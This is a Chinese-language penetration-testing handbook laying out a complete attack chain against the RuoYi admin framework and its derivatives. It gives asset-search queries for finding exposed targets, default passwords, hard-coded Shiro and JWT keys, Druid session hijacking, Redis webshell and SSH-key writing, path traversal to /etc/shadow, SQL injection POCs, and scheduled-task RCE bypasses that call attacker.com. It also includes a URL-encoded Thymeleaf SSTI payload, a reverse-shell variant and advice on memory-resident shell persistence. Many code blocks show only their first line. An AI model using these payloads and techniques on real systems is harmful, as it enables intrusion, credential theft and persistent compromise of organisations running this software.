0x01 前言
RuoYi(若依)作为国内最流行的 Java 快速开发框架之一,被广泛应用于各类企业后台管理系统中。据不完全统计,公网暴露的若依相关资产超过 10 万 +,其历史漏洞在大量二开系统中普遍存在,是渗透测试和攻防演练中的高频靶点。
本文全面整理了若依框架从资产识别、前台漏洞、后台漏洞到 GetShell 的完整利用链路,涵盖单应用版、前后端分离版、微服务版等多个版本的典型漏洞,旨在为安全研究人员提供一份系统化的攻防参考手册。
免责声明:本文仅用于安全研究与授权测试,未经授权攻击他人系统属于违法行为。传播、利用本文所提供的信息而造成的任何直接或间接后果及损失,均由使用者本人负责。
0x02 若依系统简介
2.1 主要版本分支
| 版本 | 特点 | 技术栈 |
|---|---|---|
| RuoYi | 单应用版本 | Spring Boot + Shiro + Thymeleaf |
| RuoYi-Vue | 前后端分离版(最常见) | Spring Boot + Spring Security + JWT + Vue |
| RuoYi-Cloud | 微服务版本 | Spring Cloud Alibaba + Nacos + Gateway |
| RuoYi-Vue-Plus | 增强版 | Spring Boot 3 + Sa-Token + Redis + snail-job |
| RuoYi-App | 移动版本 | uni-app |
| Blade | 若依衍生的低代码平台 | Spring Boot + MyBatis-Plus + Avue + React |
Blade( bladex )是基于若依魔改的低代码开发平台,分 Blade-Boot(单应用)和 Blade-Cloud(微服务)两个版本,企业用户量极大。其登录页通常显示 “BladeX 微服务开发平台” 字样,后端特征与若依高度相似但接口路径存在差异。Blade 同样存在 Druid 未授权、定时任务 RCE 等若依系通用漏洞,且 Shiro 版本的默认 Key 完全一致。
2.2 典型技术栈
- 核心框架:Spring Boot / Spring Cloud
- 权限认证:Apache Shiro / Spring Security / Sa-Token
- ORM 框架:MyBatis / MyBatis-Plus
- 数据库连接池:Alibaba Druid
- 注册配置中心:Nacos(微服务版)
- 定时任务:Quartz / snail-job
- 缓存:Redis
- 对象存储:MinIO(Plus / Cloud 版常见)
- JSON 库:Fastjson(早期版本)
- 接口文档:Swagger / Knife4j
0x03 资产识别与信息收集
3.1 典型特征识别
页面特征
- 经典紫色加载页面:”正在加载系统资源,请耐心等待”
- 登录页背景图 + 小草 icon 图标(绿 / 蓝两种)
- 后台左侧菜单栏 + 顶部标签页布局
Cookie 特征
- Shiro 版(老):
JSESSIONID=xxx+rememberMe=xxx - JWT 版(新):
Admin-Token=xxx(JWT 格式)
接口特征
- API 前缀:
/prod-api/、/dev-api/、/api/、/admin-api/ - 后端直连页面显示:”欢迎使用 RuoYi 后台管理框架,当前版本:vX.X.X,请通过前端地址访问”
3.2 FOFA 检索语法
1 | # 经典小草icon哈希(绿+蓝两种) |
3.3 鹰图 (Quake) 检索语法
1 | web.body="若依后台管理系统" |
3.4 常见敏感路径速查表
1 | # Druid监控(多前缀变体——所有前缀均可能存在) |
3.5 关联端口速查
| 端口 | 服务 | 利用方向 |
|---|---|---|
| 8080/80/443 | Web 主服务 | 常规 Web 漏洞 |
| 8848 | Nacos | 未授权、配置泄露 |
| 6379 | Redis | 未授权、写 shell |
| 3306 | MySQL | 弱口令、数据泄露 |
| 2181 | Zookeeper | 未授权、服务发现 |
| 9000 | MinIO | 未授权、文件读写 |
| 9090 | 后端直连 | 路径拼接探测 |
3.6 若依系统接口字典
以下 /system/* 接口路径在大量若依 / Blade / 二开版本中通用,配合 Swagger 或 Druid URI 监控可快速枚举。结合越权、未授权访问、定时任务等漏洞使用,覆盖率远超手工猜测。
1 | /system/duplicate/check |
0x04 前台漏洞(无需登录)
4.1 弱口令漏洞
漏洞等级:中危 | 利用条件:无
若依系统默认账号密码在大量二开项目中未被修改,是最高频的入口点。据统计,admin/admin123组合命中率约 63%。
常见账号密码组合:
1 | admin / admin123 (最常见) |
利用技巧:部分站点登录页会自动填充记住密码,可通过 F12 修改 input 的 type 属性从password改为text,直接查看明文密码。
4.2 Shiro 反序列化漏洞(默认 Key)
漏洞等级:严重 | 利用条件:无 | CVE:CVE-2021-38241
早期若依版本使用 Shiro 作为权限框架,且默认加密密钥硬编码在配置文件中,导致反序列化 RCE。
影响版本:RuoYi <= v4.3.0(Shiro 1.4.2 及以下)
默认 Key:
1 | fCq+/xW488hMTCD+cmJ3aQ== |
检测方法:
- 发送请求,响应头 Set-Cookie 包含
rememberMe=deleteMe即为 Shiro 特征 - 使用 ShiroAttack 工具爆破默认 Key
利用方式:
- 确认 Shiro 存在
- 爆破默认 AES Key
- 使用 CommonsBeanutils/CC 链等利用链执行命令
- 高版本需使用 AES-GCM 模式
4.3 Druid 未授权访问
漏洞等级:中危 | 利用条件:无
Druid 监控面板若配置不当可直接访问或使用弱口令登录,泄露大量敏感信息。
常见路径:
1 | /prod-api/druid/index.html |
利用价值:
- SQL 监控:查看所有执行过的 SQL 语句,获取表结构、字段信息
- URI 监控:枚举系统所有接口路径
- Session 监控:窃取在线用户 Session
- Spring 监控:获取 Bean 信息
- JSON API:
/druid/stat.json批量导出数据
默认账号密码:admin / admin、druid / druid
Session 劫持免密登录:
Druid 的 Session 监控页会列出所有在线用户的 Session ID。对于 Shiro 版,直接复制 JSESSIONID 替换到浏览器 Cookie 即可无需密码进入后台;对于 JWT 版,复制 Admin-Token 同理。这是区别于弱口令和 Shiro RCE 的第三种前台免密登录方式,尤其在有用户在线的高峰时段效果显著。
1 | Druid → Session 监控 → 获取在线用户 JSESSIONID/Admin-Token → 替换 Cookie → 免密登录后台 |
4.4 JWT 密钥硬编码漏洞
漏洞等级:高危 | 利用条件:无 | 影响版本:RuoYi 3.4.0 等早期 JWT 版本
JWT 密钥硬编码在代码中(JwtConfig.SECRET),攻击者可反编译获取密钥后伪造任意用户 Token。
常见默认密钥:
1 | abcdefghijklmnopqrstuvwxyz |
利用方式:
- 反编译 jar 包或前端代码寻找密钥
- 使用 jwt.io 伪造 admin 用户 Token
- 替换 Admin-Token 直接登录后台
4.5 Swagger 接口文档泄露
漏洞等级:低 - 中危 | 利用条件:无
Swagger 未关闭时可获取完整接口清单,辅助寻找未授权接口和业务漏洞。
访问路径:
1 | /swagger-ui.html |
4.6 Spring Boot Actuator 信息泄露
漏洞等级:中危 | 利用条件:无
若依后端直接暴露时,可能存在 Spring Boot Actuator 端点未授权访问。
常见端点:
1 | /actuator/env # 环境变量(含数据库密码、密钥) |
4.7 Nacos 未授权访问(微服务版)
漏洞等级:严重 | 利用条件:无 | 影响:RuoYi-Cloud 版本
RuoYi-Cloud 微服务版默认集成 Nacos 作为注册配置中心,Nacos 默认未开启鉴权。
常见端口:8848(HTTP)、7848(gRPC)
漏洞类型
1. 默认未开启鉴权
1 | # 直接获取所有配置 |
2. User-Agent 绕过(CVE-2021-29441)
Nacos <= 1.4.1,User-Agent 设置为Nacos-Server即可绕过鉴权。
3. 默认 JWT 密钥漏洞
默认密钥SecretKey012345678901234567890123456789012345678901234567890123456789,可伪造 Token。
4. Derby SQL 注入 RCE(CVE-2021-29442)
通过 Derby 数据库 SQL 注入写入 webshell。
利用价值:获取数据库密码、Redis 密码、各服务配置、服务列表,进一步横向渗透。
4.8 Redis 未授权访问
漏洞等级:高危 | 利用条件:Redis 6379 端口暴露
若依系统普遍使用 Redis 作为缓存,大量部署存在未授权或弱口令。
利用方式:
1. 信息收集
1 | redis-cli -h target.com info |
2. 写 Webshell(需知道 Web 路径)
1 | CONFIG SET dir /var/www/html |
3. 写 SSH 公钥(Redis 以 root 运行)
1 | CONFIG SET dir /root/.ssh |
4. 主从复制 RCE(Redis 4.x/5.x)
使用 Redis-rogue-server 工具加载恶意 so 模块执行命令。
4.9 未授权文件上传
漏洞等级:中 - 高危 | 利用条件:部分二开版本
常见于 “绿若依” 系统,部分版本文件上传接口未做鉴权。
检测方法:
- F12 查找 app.js 中的 uploadUrl
- 直接访问
/baseurl/common/upload测试
利用方式:
- 无限制:直接上传 jsp/jspx webshell
- 有白名单:上传 html 造成存储型 XSS,盲打后台管理员
4.10 注册接口漏洞
部分二开站点保留了注册功能,可直接注册账号登录后台。
检测路径:
1 | /register |
4.11 Fastjson 反序列化漏洞
漏洞等级:高危 | 利用条件:无 | 影响版本:使用 Fastjson 的若依 / 二开版本
若依早期版本及大量二开系统依赖 Fastjson 处理 JSON,且未配置 autoType 黑名单,存在反序列化 RCE。
检测方法:
- 查看 Swagger 接口文档,确认
Content-Type: application/json的接口 - DNSLog 探测:POST 提交
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"} - 若版本 <= 1.2.47,无需开启 autoType 即可利用
利用方式:
- 使用 JNDI/LDAP 利用链(需目标出网)
- 高版本 JDK 下结合本地 Class 绕过(如
org.apache.ibatis.datasource) - Fastjson + 若依定时任务(后台)组合可达 RCE
关联:若依 Druid Spring 监控页可查看 Bean 信息,确认 Fastjson 版本。
4.12 MinIO 未授权访问
漏洞等级:高危 | 利用条件:MinIO 暴露
RuoYi-Vue-Plus 和部分二开系统集成 MinIO 作为文件存储(/system/upload/uploadMinio 接口佐证)。MinIO 默认端口 9000,未配置认证时可直接读写所有 Bucket。
常见利用:
1 | # 直接列出所有 Bucket |
横向价值:MinIO 中常存储系统备份、数据库导出文件、用户上传的敏感文档。
0x05 后台漏洞(需登录)
5.1 SQL 注入漏洞
漏洞等级:高危 | 利用条件:后台权限
若依框架数据权限过滤处使用${params.dataScope}直接拼接 SQL,导致多处注入点。
注入点一:角色列表 dataScope 参数
影响版本:< 4.6.2
POC:
1 | POST /system/role/list |
注入点二:部门编辑 ancestors 参数
影响版本:RuoYi v4.6
POC:
1 | POST /system/dept/edit |
注入点三:代码生成 createTable 接口
影响版本:RuoYi 4.7.5
POC:
1 | POST /tool/gen/createTable |
注入点四:角色编辑接口
影响版本:多个版本
通过角色编辑接口的参数注入,原理同 dataScope。
5.2 任意文件下载漏洞
漏洞等级:高危 | 利用条件:后台权限
资源下载接口未对路径进行严格过滤,可通过目录穿越读取任意文件。
POC:
1 | /common/download/resource?resource=/profile/../../../../etc/passwd |
可读取的敏感文件:
- Linux:
/etc/passwd、/etc/shadow、/root/.ssh/id_rsa - Windows:
C:\Windows\win.ini、配置文件、数据库配置 - 应用配置:
application.yml、数据库账号密码、Redis 密码
5.3 文件上传漏洞
漏洞等级:中危 | 利用条件:后台权限
文件上传仅校验扩展名,未检查文件真实类型(Magic Number),存在绕过风险。
上传路径:
1 | /system/oss/file/upload |
绕过方式:
- 双写扩展名:
shell.jsp.jpg - 大小写绕过:
shell.Jsp - 配合解析漏洞(如 Nginx 配置不当)GetShell
5.4 定时任务 RCE 漏洞(重点)
漏洞等级:严重 | 利用条件:后台权限 | CVE:CVE-2026-4564
若依定时任务(Quartz)的invokeTarget参数可调用任意 Java 类方法,通过反射实现 RCE。这是若依最经典的 GetShell 方式。
方式一:直接调用(低版本 < 4.6.2)
调用目标字符串:
1 | // JNDI注入(需出网) |
Cron 表达式设置为 0/10 * * * * ?,点击执行即可触发。
方式二:单引号绕过(v4.6.2 - v4.7.1)
4.6.2 版本新增了对ldap、rmi、http等关键字的过滤,但可通过添加单引号绕过:
1 | h't'tp://attacker.com/ |
方式三:SQL 注入绕过白名单(v4.7.8)
4.7.8 版本新增了白名单校验(必须包含com.ruoyi.quartz.task),但可通过代码生成功能的 SQL 注入直接修改数据库中的定时任务。
利用步骤:
- 创建定时任务,调用目标为:
1 | genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x恶意payload十六进制 WHERE job_id = 1;') |
- 执行一次任务,SQL 注入修改数据库
- 再次执行任务触发恶意代码
方式四:子字符串绕过(v4.8.x)
4.8 版本白名单使用contains("com.ruoyi.quartz.task")判断,可构造包含白名单字符串的恶意类名绕过:
1 | com.ruoyi.quartz.taskxxx.恶意类.方法 |
内存马工具:yaml-payload-for-ruoyi 可直接打入 Tomcat 内存马。
5.5 Thymeleaf 模板注入(SSTI)
若依单应用版使用 Thymeleaf 模板引擎,Controller 返回视图名时会将用户输入的 fragment 参数拼接到模板路径中(例如 "cache::" + fragment),Thymeleaf 解析 :: 后的内容时会执行 SpEL 表达式。由于不同版本的 Thymeleaf 黑名单策略不同,绕过方式分为两类独立漏洞。
通用前提:
- 漏洞端点:
/monitor/cache/getNames、/monitor/cache/getKeys、/monitor/cache/getValue(均为 POST,参数fragment) - 接口方法不能带有
@ResponseBody或@RestController注解,否则不会触发 View 解析 - 利用条件:后台权限
检测方法(适用所有版本):
1 | POST /monitor/cache/getNames |
返回 HTTP 500 表示参数被拼接到模板路径中,可能存在注入。
5.5.1 基础 SSTI —— RuoYi <= v4.7.1(Thymeleaf 3.0.12 以下)
漏洞等级:严重 | 影响版本:RuoYi <= v4.7.1
Thymeleaf 的 StandardExpressionPreprocessor 在预处理表达式时,会对参数内容做 SpEL 注入检测:若包含 T((调用静态方法)或 new (实例化对象)则抛出异常。低版本 Thymeleaf 的检测正则仅匹配 T( 这种紧凑写法,SpringEL 本身允许 T 与 ( 之间存在空白字符,由此产生绕过。
绕过原理:
T (java.lang.Runtime)—— SpringEL 正常解析,Thymeleaf 黑名单正则不匹配*{...}替代${...}—— 选择变量表达式同样被 Thymeleaf 执行- 将payload中的
(${T (java.lang.Runtime).getRuntime().exec("open -a calculator")})进行url编码
POC —— 命令执行:
1 | POST /monitor/cache/getNames |
再url编码
1 | fragment=header(%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29) |
反弹 shell 变体:
1 | POST /monitor/cache/getNames |
5.5.2 SSTI 绕过获取 ShiroKey 至 RCE —— RuoYi v4.8.1
漏洞等级:严重 | 影响版本:RuoYi = v4.8.1
v4.8.1 的 Thymeleaf 3.0.15 增强了黑名单(containsSpELInstantiationOrStaticOrParam),T ( 空格和 *{...} 均已失效。绕过方式是利用 Thymeleaf 预处理表达式,预处理阶段求值发生在黑名单检查之前。
预处理表达式通过 __|$${...}|__::.x 包裹 SpEL,由于 T(java.lang.Runtime) 被禁,需借助 @securityManager Bean 的 ClassLoader 进行反射调用。关键技巧:.getMethods、.getClass 去掉括号可避开部分检测点。
验证检测:
1 | POST /monitor/cache/getNames |
RCE POC(JDK 8):
1 | POST /monitor/cache/getNames |
JDK 8u300+ 此链不可用;JDK 11/17 需将 exec 索引从 [0] 改为 [2];其余版本对 0–5 遍历尝试。
ShiroKey 提取:
1 | POST /monitor/cache/getNames |
获取 Key 后可伪造管理员 RememberMe Cookie 免密登录。RuoYi 4.8.1 默认依赖不含反序列化利用链,需目标二开引入了 CommonsCollections/CommonsBeanutils 等才能直接反序列化 RCE。
5.6 QLExpress 表达式注入(RuoYi-Vue-Plus)
漏洞等级:严重 | CVE:CVE-2025-66916 | 影响版本:RuoYi-Vue-Plus <= 5.5.1
RuoYi-Vue-Plus 集成的 snail-job 组件存在 QLExpress 表达式注入漏洞,远程未授权攻击者可利用该漏洞读取敏感配置文件、写入恶意内容。
漏洞端点:
1 | /snail-job/workflow/check-node-expression |
5.7 越权漏洞
5.7.1 个人资料修改越权(高危)
漏洞描述:SysProfileController.updateProfile接口未对传入的 userId 做权限校验,普通用户可越权修改任意账户包括 admin 的密码和信息。
影响版本:早期 RuoYi-Vue 版本
POC:
1 | PUT /system/user/profile |
5.7.2 部门层级重绑定越权
漏洞描述:部门编辑接口未做严格权限校验,低权限用户可越权创建或移动部门,改变 DataScope 使用的部门层级授权路径,从而扩大数据权限范围。
5.7.3 通用越权检测思路
- 水平越权:修改请求中的 userId/deptId 等参数,访问同级别其他用户数据
- 垂直越权:普通用户 Token 直接调用管理员接口(如
/system/user/list、/system/role/add) - 检测方法:对比高低权限账号的接口返回,替换 Token 测试
5.8 存储型 XSS 漏洞
漏洞等级:中危 | 利用条件:后台权限
5.8.1 公告模块 XSS
若依默认配置中,公告模块(/system/notice)被排除在 XSS 过滤之外,富文本内容直接使用v-html渲染,可注入恶意脚本。
配置佐证:
1 | xss: |
利用方式:发布含恶意 JS 的公告,管理员查看时触发,窃取 Cookie 或 CSRF 提权。
5.8.2 XSSFilter 绕过
若依 Plus 的 XSSFilter 对整段 JSON 做匹配,存在多字段组合绕过的可能。可通过分散 payload 到不同字段,组合后触发。
0x06 进阶利用思路
6.1 路径拼接通杀思路
很多魔改若依站点修改了前端路径,但后端接口仍保留标准路径。发现后端特征页(”欢迎使用 RuoYi…”)后,可尝试拼接各类 API 前缀:
1 | 目标: http://target:9090/ |
6.2 从信息收集到 GetShell 完整链路
1 | 1. FOFA批量收集资产 |
6.3 通用检测工具
- 若依综合利用工具:集成 SQL 注入、SSTI、Shiro、文件读取、定时任务等检测
- LiqunKit:Shiro 综合利用工具
- SpringBoot-Scan:Spring Boot 端点扫描
- NacosScan:Nacos 漏洞扫描
- yaml-payload-for-ruoyi:若依定时任务内存马生成
- Redis-rogue-server:Redis 主从复制 RCE
6.4 微服务版横向渗透
拿下 Nacos 后:
- 读取各服务配置,获取数据库、Redis、MQ 等凭据
- 修改配置注入恶意配置(如数据库连接注入、Redis 主从复制 RCE)
- 通过 Gateway 网关探测内部服务
- 利用各服务自身漏洞进一步渗透
- Zookeeper 未授权访问(2181 端口)辅助服务发现
6.5 内存马持久化
拿到 RCE 后推荐打入内存马:
- Tomcat Filter 型内存马:无文件、隐蔽性强
- Spring Interceptor 内存马:适配 Spring Boot
- 工具:哥斯拉内存马、yaml-payload-for-ruoyi
0x07 重要 CVE 漏洞列表
| CVE 编号 | 漏洞类型 | 影响版本 | 严重程度 |
|---|---|---|---|
| CVE-2021-38241 | Shiro 反序列化 RCE | < 4.6.1 | 严重 |
| CVE-2024-9048 | 代码生成注入 RCE | <= 4.7.9 | 严重 |
| CVE-2026-4564 | Quartz Job Handler 代码注入 | <= 4.8.2 | 严重 |
| CVE-2025-66916 | QLExpress 表达式注入 RCE | RuoYi-Vue-Plus <= 5.5.1 | 严重 |
| CVE-2025-70986 | 权限绕过 | - | 高危 |
| CVE-2024-57439 | 越权提权 | 4.8.0 | 中危 |
| CVE-2025-67342 | 存储型 XSS 绕过 | <= 4.8.1 | 中危 |
| CVE-2021-29441 | Nacos User-Agent 鉴权绕过 | Nacos <= 1.4.1 | 严重 |
| CVE-2021-29442 | Nacos Derby SQL 注入 RCE | Nacos <= 1.4.1 | 严重 |
